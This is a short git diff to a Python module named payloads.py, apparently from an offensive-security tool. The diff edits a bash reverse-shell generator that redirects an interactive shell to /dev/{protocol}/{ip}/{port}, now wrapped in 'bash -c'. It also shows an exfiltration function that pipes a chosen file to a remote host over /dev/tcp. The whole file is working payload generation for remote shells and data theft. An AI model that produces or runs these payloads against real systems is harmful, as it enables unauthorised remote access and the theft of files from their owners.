diff --git a/lib/payloads.py b/lib/payloads.py index ed7fceb..92563f3 100644 --- a/lib/payloads.py +++ b/lib/payloads.py @@ -1,7 +1,7 @@ class Shells: class Rev: def bash(ip,port,shell,protocol): - return f"{shell} -i >& /dev/{protocol}/{ip}/{port} 0>&1 &" + return f"bash -c \\\"{shell} -i >& /dev/{protocol}/{ip}/{port} 0>&1 & \\\";" class Exfil: def socket(ip,port,file): return f"cat {file} &> /dev/tcp/{ip}/{port} ;" @@ -10,3 +10,4 @@ class Exfil: +